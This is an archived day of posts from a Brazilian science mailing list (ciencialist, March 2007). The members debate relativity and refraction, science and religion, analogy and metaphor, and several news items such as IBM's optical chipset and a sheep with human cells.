TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 09:59



Brudna: Ficou estranha essa frase "Transceiver é um dispositivo que recebe e
envia dados por meio de ondas sem fio."
Ondas sem fio?!

É só colocar as vírgulas nos devidos lugares:
"Transceiver é um dispositivo que recebe e envia dados, por meio de ondas, sem fio."

[]'




SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 10:00

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
> Aí é que estaria a principal diferença entre a abordagem de Einstein e
> Newton?
> Velocidade variável versus Tempo variável?

De certo modo sim - claro, em se tratando da velocidade da luz.

> se tiver alguma msg ou artigo anterior que trate disso, podem passar
> que economizo a tendinite de vcs :)

Tem o livro de Brian Greene "Tecido do cosmo: O espaço, o tempo e a
textura da realidade" (2005, Companhia das Letras, trocentas páginas).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 10:05

>
> Olá, Jeff! Existir é uma evidência que não sabemos muita coisa da criação
> que nos rodeia...
>

"Existir" é evidência de que tem alguma origem, independente se este sabe
alguma coisa ou não.

>
>Para esclarecer qualquer fenômeno da natureza não é necessário incluir uma
>divindade.
>Isso só é aventado quando se busca alcançar além daquilo que se apresenta,
>digamos,
>tão normal aos nossos olhos. Essa causa primeira é que chamamos de
>Divindade ou de Deus.
>

E como que se "esclarece" com algo que não faz sentido?

Não estou dizendo que não pode exitir algo que "não faz sentido" (seria
prepotência nossa) mas, realmente entender, só se fizer sentido, não é?
Teorias científicas são, justamente, explicações compreensíveis, lógicas,
que fazem sentido para nós. Crenças, são inventadas por pessoas, que são tão
limitadas quanto você e eu. Do mesmo jeito que não há grandes discrepâncias
de longevidade, força, altura, etc, não devem existir enormes discrepâncias
de inteligência... pessoas com inteligência sobre-humana, capazes de
compreender o incompreensível para nós. E não existe EVIDÊNCIA de um ser
mais inteligente que tenha revelado algo pra alguém.

Loucura existe, é uma doença! :-)

>
> É o mistério ainda insondado, mas que muitos já consideram insondável...
> Por antecipação. Devo dizer que pouco ou nada altera vc aprender ciências
> considerando ou não o que há além do que constatamos e experimentamos.
> Essa conhecimento ou ciência é comum tanto para os mais interessados,
> como aos satisfeitos com os diversos métodos científicos adotados
> atualmente.
>

"Mistérios" existem, mas porque INVENTAR explicações para estes?
Eu acho engraçado... Os crentes acham que os cientistas "acham que sabem
tudo", mas, na verdade, os que acham que sabem tudo são os crentes! Se um
cientista não sabe explicar alguma coisa, simplesmente diz "não sei"! Mas os
crentes não! O que o cientista diz não saber o crente "sabe" que é Deus...
ou "está tudo na bíblia"...

[]´,s
Jeff




SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 10:16

Takata!

Se minha informalidade ao me expressar é um motivo de
desconforto pra vc, é só me comunicar isto que posso
ser formal também. Vou ser formal com vc e se ainda
quiser debater, estou a disposição.

--- Sim, exatamente, mas isto apenas se:
--- Vc fosse a causa dos seus pensamentos
--- Mas como vc não é
--- Logo:
--- Impossivel


sinceramente
ferrari



- - - - - - - - - - - - - - -

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SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 10:26

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> --- Sim, exatamente, mas isto apenas se:
> --- Vc fosse a causa dos seus pensamentos
> --- Mas como vc não é
> --- Logo:
> --- Impossivel

A causa dos pensamentos não importa nem um pouco. O q importa é q se
tenha pensamentos. Se são simples mapas mentais, o simples fato de
pensar alteraria tais mapas. E de fato tais mapas são alterados, mas
não se altera de modo correspondente o efeito observado. Logo,
independentemente do q provocou o pensamento q mudou o mapa mental, o
efeito observado não depende do mapa mental.

Existe algo mais na realidade do q simples mapas mentais.

[]s,

Roberto Takata



SUBJECT: Re: Comprovação da teoria de Einstein
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 13:20

----- Original Message -----
From: "Gil"
Sent: Tuesday, March 27, 2007 9:40 AM
Subject: Re: [ciencialist] Re: Comprovação da teoria de Einstein

> Interessante esse fenômeno da refração. No site
> ( http://educar.sc.usp.br/otica/refracao.htm ),
> ele está associado á diferença de velocidade de
> propagação da luz.

Eu diria que esta relação entre a refração e a diferença de
velocidade de propagação da luz entre dois meios é algo que ainda
está muito mal explicado, tanto pelas teorias ondulatórias quanto
pelas corpusculares clássicas ou, ainda, aquelas a aceitarem a
dualidade da luz.

Existem hoje muitas evidências a demonstrar que a redução da
velocidade da luz se dá no interior do meio denso, entre uma molécula
e outra. O retardo da luz se daria em nível atômico ou molecular, e
não como efeito de uma ação a distância (um possível campo refrator
relacionado à idéia newtoniana) ou como algo a ocorrer *na fronteira
dos sistemas* (a sabor dos adeptos da luz ondulatória). Isto seria
terrivelmente incômodo para os adeptos da teoria ondulatória clássica
de meados do século XIX (onda mecânica), mas não vai contra a
aceitação de luz corpuscular, ainda que enfraqueça a idéia de um
*campo* refrator, que seria *uma das saídas* para a aceitação da luz
corpuscular --> aquela imaginada por Newton ao falar em "atração dos
corpúsculos pelo vidro".

Ora, se a velocidade reduz-se não na fronteira dos meios 1 e 2, mas
no interior do meio 2, à medida em que a luz vai sendo incorporada às
moléculas deste meio (e a seguir reemitida), pergunto: Porque a
mudança de direção ocorre apenas na fronteira dos meios? Eu quero
crer que apenas uma teoria corpuscular seria capaz de explicar essa
dualidade comportamental, ainda que eu ainda não tenha a explicação
definitiva para a mesma. Não é impossível que a solução esteja
relacionada às forças de van der Waals, que seriam assimétricas para
as moléculas periféricas e, em virtude disso, interfeririam com o
choque entre essas moléculas e os corpúsculos de luz. As moléculas
mais profundas (situadas no seio do meio 2) teriam uma força
resultante de van der Waals nula, e portanto responderiam apenas pelo
retardo (incorporação seguida de reemissão na mesma direção e
sentido) e não mais pela modificação da direção da luz.

De alguma maneira, a mudança de direção e a mudança de velocidade
estariam relacionadas a um fenômeno comum (absorção e reemissão de
luz) e, por um capricho matemático, ainda a ser decifrado,
conservariam uma mesma constante n (índice de refração) em suas
relações.

> Aí é que estaria a principal diferença entre a abordagem
> de Einstein e Newton? Velocidade variável versus Tempo variável?

Eu acredito que a abordagem de Einstein é anterior à constatação de
que o retardo da luz se daria em nível atômico ou molecular. Na
atualidade utiliza-se esta propriedade no sentido de se criar meios
densos, onde a luz viajaria em velocidades baixíssimas, e as
experiências assim propostas têm correspondido às expectativas, ainda
que seus autores atribuam explicações eminentemente quânticas e
adaptadas ao misterioso dualismo da física moderna. É importante
notar, não obstante, que pela abordagem de Einstein esse *aparente*
efeito é totalmente ignorado, o que acaba por implicar nas contorsões
espaço-temporais.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Re: Analogia e metáfora
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 14:14

Bastante esclarecedor, Homero e Takata, agradecido.
Três questões adicionais:
- Uma piada pode envolver várias figuras de linguagem, mas no cerne,
temos frequentemente duas (ou mais) realidades análogas cujo
cruzamento inesperado, usualmente envolvendo padrões morais rigidos e
que de outra forma não poderiam ser naturalmente tocados, provoca o
regogizo? Toda piada é uma analogia subversiva? Estou tentando me
lembrar uma que não seja...

- Disse-me um físico que os animais não fazem metáfora, essa qualidade
pertence somente à espécie humana. A analogia, contudo, parece-me que
é válida para todo o reino animal, ainda que embrionária. Que lhes
parece isso?

- Para o filosofo grego Aristóteles, em sua obra "Poética" (Poema 22)
{{ http://www.authorama.com/the-poetics-23.html}}, a capacidade de
fazer metáforas é uma qualidade do gênio:

"De longe, de todas as coisas a ser conquistadas, a melhor é ser um
mestre em metáforas. É a única coisa que não pode ser aprendida de
ninguém; é também um sinal de genialidade, pois uma boa metáfora
implica numa percepção intuitiva das similaridades e
dissimilaridades."

O que afirmou Aristóteles sobre a metáfora é válido também para a
analogia?!? Mesmo sendo a analogia algo explicito, como foi
evidenciado por vocês. Não está ai a base de todo conhecimento
científico?

Abraços,
Esteban.



Em 26/03/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> --- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
>
> > qual a diferença entre uma analogia e uma metáfora? Soube que o ser
> > humano é a única espécie, até onde se saiba, capaz de realizar
> > metáfora (homo-metaforis). Acredito que o mesmo não seja válido para a
> > analogia. Mas já cavei no Houaiss e não consegui uma distinção clara
> > entre ambos, parecem praticamente sinônimos. Quem me dá uma luz? (luz
> > é uma metáfora e/ou analogia?)
> > Esteban.
>
> Tto metáfora como analogia se constituem em elementos de *comparação*.
> Na metáfora a comparação é implícita - conferindo ao elemento de
> comparação um significado conotativo -, enqto q na analogia a
> comparação é explícita (conforme enfatizado por Homero, de uso por
> meio do termo "como" ou equivalentes - "tal qual", "que nem", "da mm
> forma", etc) - conferindo ao termo um significado denotativo.
>
> A luz no caso de "me dá uma luz" é metonímica.
>
> []s,
>
> Roberto Takata


SUBJECT: Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 14:45

Olá Ferrari

Ferrari: "Se minha informalidade ao me expressar é um motivo de
> desconforto pra vc,"

Não é tanto a informalidade, mas a falta de sentido, lógica,
racionalidade, discurso minimamente coerente, além de loucuras
diversas, pensamento incompreensível, distorção de termos,
incompreensão de termos e total incapacidade de manter um debate racional.

Isso é bem pior que a informalidade e o riso solto, e tolo, Ferrari..:-)

Ferrari: " --- Sim, exatamente, mas isto apenas se:
> --- Vc fosse a causa dos seus pensamentos
> --- Mas como vc não é
> --- Logo:
> --- Impossivel"

Isso não é um debate, pela absoluta falta de sentido. Ficar
perguntando sobre cada temo usado em cada frase TAMBÉM não é um
debate, mas uma fuga sem pé nem cabeça. É o que se chama "jogar a
conversa no mato" (que poderia ser o título de seu novo livro..:-)

Seus "argumentos" e suas "evidências", não são nem uma coisa nem
outra. São apenas maluquices ditas sem propósito ou razão, como um
discurso de esquizofrênico, que pensa estar "revelando grandes verdades".

Na verdade, é mesmo muito parecido com "xixi com tinta"..:-)

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Takata!
>
> Se minha informalidade ao me expressar é um motivo de
> desconforto pra vc, é só me comunicar isto que posso
> ser formal também. Vou ser formal com vc e se ainda
> quiser debater, estou a disposição.
>
> --- Sim, exatamente, mas isto apenas se:
> --- Vc fosse a causa dos seus pensamentos
> --- Mas como vc não é
> --- Logo:
> --- Impossivel
>
>
> sinceramente
> ferrari
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> Para receber meus textos inéditos, envie um email para:
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>
>
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>
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SUBJECT: Re: Analogia e metáfora
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 15:33

--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
> - Uma piada pode envolver várias figuras de linguagem, mas no cerne,
> temos frequentemente duas (ou mais) realidades análogas cujo
> cruzamento inesperado, usualmente envolvendo padrões morais rigidos
> e que de outra forma não poderiam ser naturalmente tocados, provoca
> o regogizo? Toda piada é uma analogia subversiva? Estou tentando me
> lembrar uma que não seja...

Alguns pesquisadores dizem q o efeito anedótico é mais pela quebra de
padrão (e a comparação se dá com esse padrão).

Por q a imagem de uma velhinha de olhos esbugalhados com as pernas
para o ar e uma casca de banana voando para longe parece cômico?

> - Disse-me um físico que os animais não fazem metáfora, essa
> qualidade pertence somente à espécie humana. A analogia, contudo,
> parece-me que é válida para todo o reino animal, ainda que
> embrionária. Que lhes parece isso?

Bastante complicado. Se tomarmos simbologia como analogia, então
muitos animais trabalham com isso. Quando animais procuram comida,
podem procurar por rastros ou sinais, digamos, cheiro - o cheiro
obviamente não é a comida, mas indica q a presa pode estar por perto.

> a capacidade de fazer metáforas é uma qualidade do gênio:

Q diga nosso futebolístico cefalópodo.

> Não está ai a base de todo conhecimento científico?

De todo talvez não. Mas é parte importante na comunicação. Vários
conceitos abstratos são passados por meio de analogias - como a
curvatura do espaço-tempo e a membrana de borracha, a variação do
valor adaptativo de uma característica em função da configuração das
pressões no meio em termos de paisagens adaptativas, gráficos são
analogias visuais da relação entre grandezas e assim por diante. Com
os reveses da analogia indevidamente estendida ou indevidamente
estabelecida.

[]s,

Roberto Takata



SUBJECT: Cientista criam ovelha 15% humana - The Daily Mail
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 16:33

�ltimo Segundo - IG
Cientistas criam uma ovelha que � 15% humana, diz jornal
27/03 - 15:42 - Reda��o

Cientistas desenvolveram uma ovelha que tem 15% de c�lulas humanas e 85% de c�lulas animais � a sua evolu��o significa um passo a mais no transplante de �rg�os de animais para humanos. As informa��es s�o do jornal The Daily Mail.

O professor Esmail Zanjani, da Universidade de Nevada, passou sete anos e gastou cinco milh�es de libras aperfei�oando a t�cnica de injetar c�lulas humanas adultas em embri�es de ovelhas.

Segundo o jornal, o processo envolveria extrair c�lulas da medula �ssea do doador e injet�-las no perit�nio de um embri�o de ovelha. Dois meses depois, quando o carneiro nascesse, ele teria um f�gado, cora��o, pulm�o e c�rebro que s�o parte humano e dispon�vel para transplantes.

�N�s isolar�amos as c�lulas, injetar�amos no perit�nio desses animais e essas c�lulas seriam distribu�das por todo o sistema metab�lico e no sistema circulat�rio de todos os �rg�os do corpo. O pouco de c�lulas que tirar�amos forneceria c�lulas suficientes para fazer uns 10 embri�es. Ent�o voc� n�o teria somente um �rg�o para prop�sitos m�dicos, voc� teria muitos dispon�veis em caso do primeiro falhar�.

Mas provavelmente esse desenvolvimento gerar� cr�ticas sobre os cientistas brincando de Deus, com a possibilidade de v�rus silenciosos, que s�o inofensivos para animais, sendo introduzidos na ra�a humana. Como o dr. Patrick Dixon mencionou, v�rus animais mutantes s�o uma real amea�a, como pode ser visto no caso do HIV.

Ativistas de direitos animais temem que se as c�lulas se misturarem, elas podem criar uma esp�cie de fus�o celular, criando um h�brido que teria caracter�sticas tanto de homem quanto de ovelha. O professor Zanjani disse que �transplantar c�lulas em embri�es de ovelhas em est�gios precoces n�o resultar�o em fus�o�.

< http://ultimosegundo.ig.com.br/ciencia_saude/2007/03/27/cientistas_criaram_uma_ovelha_que_e_15_humana__730114.html >


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Fertilização dos oceanos
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/03/2007 17:05

Alguém sabe em que pé se encontra a idéia de fertilizar os oceanos
para retirar CO2 da atmosfera e conter o aquecimento global? Aquela
idéia de plantar árvores me parece estúpida, pois a quantidade de CO2
fixado seria ínfima, acredito. Mas se conseguissem pulverizar o
Pacífico inteiro com fertilizantes ocorreria um boom fitoplantônico
no meio do oceano. Este fitoplâncton entraria na cadeia alimentar que
terminaria por levar o carbono fixado para os organismos maiores,
que, ao morrer, afundariam levando o carbono para o fundo do oceano.
Ocorreria também um boom no fundo do oceano, pois a chuva de
nutrientes iria aumentar muito, mas creio que o CO2 iria ficar por lá
mesmo, a 3 mil metros de profundidade. A disponibilidade de oxigênio
no fundo oceânico deve ser pequena, o que impediria que toda a
matéria orgânica fosse queimada produzindo CO2.

A meu ver, os maiores problemas são os possíveis desajustes dos
ecossistemas marinhos, que presenciariam uma explosão de vida em
locais que sempre foram desérticos, e a nossa capacidade de conseguir
nutrientes o suficiente para fertilizar os oceanos.

João de Carvalho




SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 18:26

Tanto o espaço como os campos não constam na relação de partículas e
sub-partículas das três famílias de matérias conhecidas e constatadas até o
momento. São naturais mas não têm estruturas materiais. Entendo que os
termos transcendente, espiritual ou sobrenatural são usados para diferenciar
alguns fenômenos ainda inexplicáveis pela ciência atual, dos fenômenos já
explicados por conhecimentos científicos. Mas volto a afirmar: tanto esses
como aqueles apesar de extraordinários ou anormais *são todos naturais*,
ocorrem na Natureza. Alguns desses fenômenos não envolvem partículas ou
estruturas materiais.
[]s
José Renato
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 12:00 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> imateriais: espaço e campos.

São materiais posto q naturais. O imaterial se refere ao
transcendente, ao espiritual.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Downloads instantâneos!
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 18:46

Acho que isso é o de menos, pois fica subentendido que são transmitidas por
ondas eletromagnéticas ou de rádio. O que me chamou atenção para o péssimo
texto foram as informações forçadas para sustentar o título da notícia que
parece ser a parte mais importante: a rapidez de transferência de dados.
Vejamos.
Um filme leva hoje 30 minutos para ser baixado, com o novo invento levará um
segundo, em 2010. O protótipo apresentado *permitirá* a transferência em
3,75 minutos - oito vezes mais rápido do que as tecnologias atuais.

Tudo isso não impediu do editor afirmar no texto:

[ O chipset *pode* transportar dados a 160 Gbps (gigabits por segundo) ao
representar informações de acordo com pulsos de luz em vez de elétrons, e
poderia ser usado tanto para aplicações corporativas quanto pessoais em
2010, disse a IBM. ]

Se é em 2010 o verbo tem de ser *poderá* e não pode, no presente.

[]s

José Renato
...................................

From: "Luis Brudna" <luisbrudna@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 5:58 AM
Subject: Re: [ciencialist] Downloads instantâneos!


Ficou estranha essa frase "Transceiver é um dispositivo que recebe e
envia dados por meio de ondas sem fio."

Ondas sem fio?! :-)

Ateh
Luis Brudna


On 3/26/07, José Renato <jrma@terra.com.br> wrote:
> IDG Now! » Computação Corporativa » Processadores
>
>
> IBM anuncia chipset óptico que oferece downloads instantâneos
> Por Ben Ames, para o IDG Now!*
> Publicada em 26 de março de 2007 às 10h16
> Boston - Com o componente, um filme que leva hoje 30 minutos para ser
> baixado, leverá um segundo. Tecnologia chega ao público em 2010.
>
> Pesquisadores da IBM apresentaram nesta segunda-feira (26/03) um protótipo
> de chipset de transceiver óptico que permitirá que pessoas baixem filmes
> ou compartilhem dados pela internet com velocidade oito vezes maior que as
> atuais tecnologias permitem.
>
> Transceiver é um dispositivo que recebe e envia dados por meio de ondas
> sem fio.
>
> O chipset pode transportar dados a 160 Gbps (gigabits por segundo) ao
> representar informações de acordo com pulsos de luz em vez de elétrons, e
> poderia ser usado tanto para aplicações corporativas quanto pessoais em
> 2010, disse a IBM.
>
> A procura de consumidores por mídias digitais como filmes, músicas e fotos
> causou uma explosão do volume de transmissão de dados na Internet, e
> reforçou a necessidade de maior banda e conectividade, disse T. C. Chen,
> vice-presidente de ciência e tecnologia da IBM Research, em uma
> declaração.
>
> A IBM diz que pode suprir essa demanda, construindo o novo chipset com um
> transceiver óptico com a tecnologia do padrão CMOS (semicondutor de metal
> óxido complementar, na sigla em inglês), e combinando-o com componentes
> ópticos de materiais exóticos como o arsenieto de gálio e um composto a
> base de fósforo. O pacote final tem dimensões de 3,25 por 5,25 milímetros,
> pequeno o suficiente para ser integrado em uma placa de circuito.
>
> Apesar dessas tecnologias já existirem, provavelmente levará pelo menos
> três anos para que fornecedores possam produzir componentes em escala para
> que a IBM coloque os transceivers ópticos para sua linha de produtos.
>
>
> *Ben Ames é repórter do IDG News Service, em Boston.
>
> <
> http://idgnow.uol.com.br/computacao_corporativa/2007/03/26/idgnoticia.2007-03-26.0442987228 >
>
> [As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] dúvida
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 18:58

Arqueologia da contabilidade! Tá danado...
Uma dica imaginar o que seria preparar um livro caixa ou um balancete em
algarismos romanos, em vez dos nossos maneiros números hidu-arábicos.
[]s
José Renato
............................................
From: "Luiz Ferraz Netto" <leobarretos@To: "ciencialist"
<ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 6:32 AM
Subject: [ciencialist] Fw: dúvia


Alguma sugestão?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: Ana Célia
Para: leobarretos@uol.com.br
Enviada em: sábado, 24 de março de 2007 11:58
Assunto: dúvia


Oi Professor


Tenho que fazer um trabalho sobre arquelologia na contabilidade e o pior é
que teremos que expor logo na semana do contabilista.

O sr. poderia me dar alguma dica, pois minha equipe está muito fraca
incluindo eu sem nenhuma criatividade.

Muito obrigado



Ana Célia
Contabilidade
Preview Computadores Ltda
Tel: (71)2103-8874-8716-2545
www.preview.com.br/anacelia@prv.com.br

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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 20:05

Jeff: [ "Existir" é evidência de que tem alguma origem... ]
.............................................

Muito bem, Jeff!
Agora, é só vc buscar a origem da existência.
[]s
JR
.............................................
----- Original Message -----
From: "Jeff" <jeff@jeff.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 10:05 AM
Subject: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico -
adinfinitum


> >
>> Olá, Jeff! Existir é uma evidência que não sabemos muita coisa da criação
>> que nos rodeia...
>>
>
> "Existir" é evidência de que tem alguma origem, independente se este sabe
> alguma coisa ou não.
>
>>
>>Para esclarecer qualquer fenômeno da natureza não é necessário incluir uma
>>divindade.
>>Isso só é aventado quando se busca alcançar além daquilo que se apresenta,
>>digamos,
>>tão normal aos nossos olhos. Essa causa primeira é que chamamos de
>>Divindade ou de Deus.
>>
>
> E como que se "esclarece" com algo que não faz sentido?
>
> Não estou dizendo que não pode exitir algo que "não faz sentido" (seria
> prepotência nossa) mas, realmente entender, só se fizer sentido, não é?
> Teorias científicas são, justamente, explicações compreensíveis, lógicas,
> que fazem sentido para nós. Crenças, são inventadas por pessoas, que são
> tão
> limitadas quanto você e eu. Do mesmo jeito que não há grandes
> discrepâncias
> de longevidade, força, altura, etc, não devem existir enormes
> discrepâncias
> de inteligência... pessoas com inteligência sobre-humana, capazes de
> compreender o incompreensível para nós. E não existe EVIDÊNCIA de um ser
> mais inteligente que tenha revelado algo pra alguém.
>
> Loucura existe, é uma doença! :-)
>
>>
>> É o mistério ainda insondado, mas que muitos já consideram insondável...
>> Por antecipação. Devo dizer que pouco ou nada altera vc aprender ciências
>> considerando ou não o que há além do que constatamos e experimentamos.
>> Essa conhecimento ou ciência é comum tanto para os mais interessados,
>> como aos satisfeitos com os diversos métodos científicos adotados
>> atualmente.
>>
>
> "Mistérios" existem, mas porque INVENTAR explicações para estes?
> Eu acho engraçado... Os crentes acham que os cientistas "acham que sabem
> tudo", mas, na verdade, os que acham que sabem tudo são os crentes! Se um
> cientista não sabe explicar alguma coisa, simplesmente diz "não sei"! Mas
> os
> crentes não! O que o cientista diz não saber o crente "sabe" que é Deus...
> ou "está tudo na bíblia"...
>
> []´,s
> Jeff
>
>
>
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> 14:31
>
>



SUBJECT: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 20:09

Olá José Renato,

dê exemplos de fenômenos que ocorram na Natureza que não envolvam partículas ou estruturas materiais, mas que possam ser qualificados como transcendentais, espiritual ou sobrenatural.

Para cada um deles, descreva sucintamente um modo de detetá-lo para que, desse modo, possa ser enquadrado como 'um fato natural'.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 27 de março de 2007 18:26
Assunto: Re: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


Tanto o espaço como os campos não constam na relação de partículas e
sub-partículas das três famílias de matérias conhecidas e constatadas até o
momento. São naturais mas não têm estruturas materiais. Entendo que os
termos transcendente, espiritual ou sobrenatural são usados para diferenciar
alguns fenômenos ainda inexplicáveis pela ciência atual, dos fenômenos já
explicados por conhecimentos científicos. Mas volto a afirmar: tanto esses
como aqueles apesar de extraordinários ou anormais *são todos naturais*,
ocorrem na Natureza. Alguns desses fenômenos não envolvem partículas ou
estruturas materiais.
[]s
José Renato
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 12:00 AM
Subject: [ciencialist] Re: Takata: Sobre o Método Cientifico - ad infinitum


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
> imateriais: espaço e campos.

São materiais posto q naturais. O imaterial se refere ao
transcendente, ao espiritual.

[]s,

Roberto Takata



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SUBJECT: Re: [ciencialist] Re: Comprovação da teoria de Einstein
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/03/2007 20:20

Olá, Alberto! Parece-me que além da possibilidade da refração da luz próximo
a grandes massas, como as estrelas que emitem partículas em densidade
significativa, há a possibilidade da atração gravitacional dos fótons em
trajetórias próximas das grandes massas, mesmo que elas não emitam
partículas que alterem a "densidade do espaço" ao seu redor.
[]s
José Renato
....................................................

From: "Alberto Mesquita Filho" <albmesq@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, March 27, 2007 1:20 PM
Subject: [ciencialist] Re: Comprovação da teoria de Einstein


----- Original Message -----
From: "Gil"
Sent: Tuesday, March 27, 2007 9:40 AM
Subject: Re: [ciencialist] Re: Comprovação da teoria de Einstein

> Interessante esse fenômeno da refração. No site
> ( http://educar.sc.usp.br/otica/refracao.htm ),
> ele está associado á diferença de velocidade de
> propagação da luz.

Eu diria que esta relação entre a refração e a diferença de
velocidade de propagação da luz entre dois meios é algo que ainda
está muito mal explicado, tanto pelas teorias ondulatórias quanto
pelas corpusculares clássicas ou, ainda, aquelas a aceitarem a
dualidade da luz.

Existem hoje muitas evidências a demonstrar que a redução da
velocidade da luz se dá no interior do meio denso, entre uma molécula
e outra. O retardo da luz se daria em nível atômico ou molecular, e
não como efeito de uma ação a distância (um possível campo refrator
relacionado à idéia newtoniana) ou como algo a ocorrer *na fronteira
dos sistemas* (a sabor dos adeptos da luz ondulatória). Isto seria
terrivelmente incômodo para os adeptos da teoria ondulatória clássica
de meados do século XIX (onda mecânica), mas não vai contra a
aceitação de luz corpuscular, ainda que enfraqueça a idéia de um
*campo* refrator, que seria *uma das saídas* para a aceitação da luz
corpuscular --> aquela imaginada por Newton ao falar em "atração dos
corpúsculos pelo vidro".

Ora, se a velocidade reduz-se não na fronteira dos meios 1 e 2, mas
no interior do meio 2, à medida em que a luz vai sendo incorporada às
moléculas deste meio (e a seguir reemitida), pergunto: Porque a
mudança de direção ocorre apenas na fronteira dos meios? Eu quero
crer que apenas uma teoria corpuscular seria capaz de explicar essa
dualidade comportamental, ainda que eu ainda não tenha a explicação
definitiva para a mesma. Não é impossível que a solução esteja
relacionada às forças de van der Waals, que seriam assimétricas para
as moléculas periféricas e, em virtude disso, interfeririam com o
choque entre essas moléculas e os corpúsculos de luz. As moléculas
mais profundas (situadas no seio do meio 2) teriam uma força
resultante de van der Waals nula, e portanto responderiam apenas pelo
retardo (incorporação seguida de reemissão na mesma direção e
sentido) e não mais pela modificação da direção da luz.

De alguma maneira, a mudança de direção e a mudança de velocidade
estariam relacionadas a um fenômeno comum (absorção e reemissão de
luz) e, por um capricho matemático, ainda a ser decifrado,
conservariam uma mesma constante n (índice de refração) em suas
relações.

> Aí é que estaria a principal diferença entre a abordagem
> de Einstein e Newton? Velocidade variável versus Tempo variável?

Eu acredito que a abordagem de Einstein é anterior à constatação de
que o retardo da luz se daria em nível atômico ou molecular. Na
atualidade utiliza-se esta propriedade no sentido de se criar meios
densos, onde a luz viajaria em velocidades baixíssimas, e as
experiências assim propostas têm correspondido às expectativas, ainda
que seus autores atribuam explicações eminentemente quânticas e
adaptadas ao misterioso dualismo da física moderna. É importante
notar, não obstante, que pela abordagem de Einstein esse *aparente*
efeito é totalmente ignorado, o que acaba por implicar nas contorsões
espaço-temporais.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



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SUBJECT: Re: [ciencialist] P/ Ferrari - : Sobre o Método Cientifico - adinfinitum
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
